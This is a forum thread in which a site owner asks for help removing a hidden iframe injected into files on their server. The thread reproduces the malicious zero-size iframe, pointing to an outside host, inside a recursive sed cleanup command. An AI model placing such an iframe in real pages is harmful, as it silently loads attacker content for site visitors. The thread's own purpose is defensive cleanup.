Need Help With Search And Replace

Hey all,

So, my server has recently been hit with an annoying injection. Most of my files have a nasty little iframe attached to them now.

What I need to do is a recursive search and replace - which I could write in PHP, but then I'd still have to run it more times than I'd like due to memory restrictions.

I've been given this one-liner by a friend, but I get an error when I try to run it.

Here's the command.

find ./ -type f | xargs sed -i 's|<iframe src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>| |g'

So, theoretically that should replace the iframe code with a space.

But for every file on the server, I get this error.

I've googled but haven't come up with much. This type of scripting isn't really my forte.

Thanks in advance for your thoughts.

Do you have the rights on these files? And also, be careful with the -i option in sed as it will change your files with no possible way back. Beter use the -i option with a back-up suffix:

sed -i.bk ......

If by rights, you mean (chmod) permissions, then I don't believe I do at the moment. I can change that though.

Yes that's what I meant. Poor french to english translation.

Lol, no worries.

I think I may have figured out how to do it via PHP, which makes things a lot simpler for me.

Thanks for the help.